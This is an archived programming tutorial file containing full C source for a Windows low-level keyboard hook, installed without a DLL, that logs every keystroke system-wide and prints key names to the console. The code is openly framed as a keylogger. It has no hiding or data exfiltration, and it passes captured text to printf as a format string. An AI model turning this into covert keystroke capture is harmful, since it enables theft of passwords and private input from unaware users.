home *** CD-ROM | disk | FTP | other *** search
/ WINMX Assorted Textfiles / Ebooks.tar / Text - Tech - Programming - Hooking Without DLLs.txt < prev    next >
Text File  |  2004-01-01  |  5KB  |  158 lines

  1. // This code will only work if you have Windows NT or
  2. // any later version installed, 2k and XP will work.
  3.  
  4. #define _WIN32_WINNT 0x0400
  5.  
  6. #include <windows.h>
  7. #include <winuser.h>
  8. #include <stdio.h>
  9.  
  10. // Global Hook handle
  11. HHOOK hKeyHook;
  12.  
  13.  
  14. // This is the function that is "exported" from the
  15. // execuatable like any function is exported from a
  16. // DLL. It is the hook handler routine for low level
  17. // keyboard events.
  18.  
  19. __declspec(dllexport) LRESULT CALLBACK KeyEvent (
  20.  
  21.   int nCode,      // The hook code
  22.   WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  23.   LPARAM lParam   // A pointer to a struct with information about the pressed key
  24.  
  25. ) {
  26.     if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
  27.         ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
  28.         (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
  29.     {
  30.  
  31.     //  This struct contains various information about
  32.     //  the pressed key such as hardware scan code, virtual
  33.     //  key code and further flags. 
  34.  
  35.         KBDLLHOOKSTRUCT hooked = 
  36.             *((KBDLLHOOKSTRUCT*)lParam);
  37.  
  38.     
  39.     //  dwMsg shall contain the information that would be stored
  40.     //  in the usual lParam argument of a WM_KEYDOWN message. 
  41.     //  All information like hardware scan code and other flags
  42.     //  are stored within one double word at different bit offsets.
  43.     //  Refer to MSDN for further information:
  44.     //
  45.     //  http://msdn.microsoft.com/library/en-us/winui/winui/
  46.     //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
  47.     //
  48.     //  (Keystroke Messages)
  49.  
  50.         DWORD dwMsg = 1;
  51.         dwMsg += hooked.scanCode << 16;
  52.         dwMsg += hooked.flags << 24;
  53.  
  54.     //  Call the GetKeyNameText() function to get the language-dependant
  55.     //  name of the pressed key. This function should return the name
  56.     //  of the pressed key in your language, aka the language used on
  57.     //  the system.
  58.  
  59.         char lpszName[0x100] = {0};
  60.         lpszName[0] = '[';
  61.  
  62.         int i = GetKeyNameText(dwMsg,
  63.             (lpszName+1),0xFF) + 1;
  64.  
  65.         lpszName[i] = ']';
  66.  
  67.     //  Print this name to the standard console output device.
  68.  
  69.         printf(lpszName);
  70.     }
  71.  
  72. //  the return value of the CallNextHookEx routine is always
  73. //  returned by your HookProc routine. This allows other
  74. //  applications to install and handle the same hook as well.
  75.  
  76.     return CallNextHookEx(hKeyHook,
  77.         nCode,wParam,lParam);
  78.  
  79. }
  80.  
  81.  
  82.  
  83. // This is a simple message loop that will be used
  84. // to block while we are logging keys. It does not
  85. // perform any real task ...
  86.  
  87. void MsgLoop()
  88. {
  89.     MSG message;
  90.     while (GetMessage(&message,NULL,0,0)) {
  91.         TranslateMessage( &message );
  92.         DispatchMessage( &message );
  93.     }
  94. }
  95.  
  96. // This thread is started by the main routine to install
  97. // the low level keyboard hook and start the message loop
  98. // to loop forever while waiting for keyboard events.
  99.  
  100. DWORD WINAPI KeyLogger(LPVOID lpParameter)
  101. {
  102.  
  103. //  Get a module handle to our own executable. Usually,
  104. //  the return value of GetModuleHandle(NULL) should be
  105. //  a valid handle to the current application instance,
  106. //  but if it fails we will also try to actually load 
  107. //  ourself as a library. The thread's parameter is the
  108. //  first command line argument which is the path to our
  109. //  executable.
  110.  
  111.     HINSTANCE hExe = GetModuleHandle(NULL);
  112.     if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
  113.  
  114. //  Everything failed, we can't install the hook ... this
  115. //  never happened, but error handling is important.
  116.  
  117.     if (!hExe) return 1;
  118.  
  119.     hKeyHook = SetWindowsHookEx (  // install the hook:
  120.  
  121.         WH_KEYBOARD_LL,            // as a low level keyboard hook
  122.         (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable
  123.         hExe,                      // and the module handle to our own executable
  124.         NULL                       // and finally, the hook should monitor all threads.
  125.     );
  126.  
  127. //  Loop forever in a message loop and if the loop
  128. //  stops some time, unhook the hook. I could have
  129. //  added a signal handler for ctrl-c that unhooks
  130. //  the hook once the application is terminated by
  131. //  the user, but I was too lazy.
  132.  
  133.     MsgLoop();
  134.     UnhookWindowsHookEx(hKeyHook);
  135.     return 0;
  136. }
  137.  
  138.  
  139. // The main function just starts the thread that 
  140. // installs the keyboard hook and waits until it
  141. // terminates.
  142.  
  143. int main(int argc, char** argv)
  144. {
  145.     HANDLE hThread;
  146.     DWORD dwThread;
  147.     DWORD exThread;
  148.  
  149.     hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
  150.         KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
  151.  
  152.     while (GetExitCodeThread(hThread, &exThread))
  153.      if (exThread == STILL_ACTIVE) Sleep(10); 
  154.  
  155.     return 0;
  156.  
  157. }
  158.